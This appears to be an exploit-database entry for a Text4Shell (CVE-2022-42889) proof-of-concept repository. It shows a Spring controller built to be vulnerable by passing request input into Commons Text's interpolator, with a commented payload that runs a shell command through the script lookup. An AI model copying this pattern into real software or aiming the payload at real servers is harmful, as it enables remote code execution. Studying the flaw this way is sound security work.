Exploit databaseDownload repository ZIP
GH-0cd637e505db55a44974238f5dc0ef65
sunnyvale-it/cve-2022-42889-poc
Sources for CVE-2022-42889
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
sunnyvale-it/cve-2022-42889-pocRevision b71991bccd3b
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/main/java/it/sunnyvale/text4shell/controller/Text4ShellController.java
Java · 787 bytespackage it.sunnyvale.text4shell.controller;
import org.apache.commons.text.StringSubstitutor;
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("text4shell")
public class Text4ShellController {
@RequestMapping(value = "/attack", method = RequestMethod.GET)
@ResponseBody
public String attack(@RequestParam(defaultValue="5up3r541y4n") String search) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// String pocstring = "${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}";
try{
String pwn = interpolator.replace(search);
} catch(Exception e) {
System.out.println(e);
}
return "Search results for: " + search;
}
}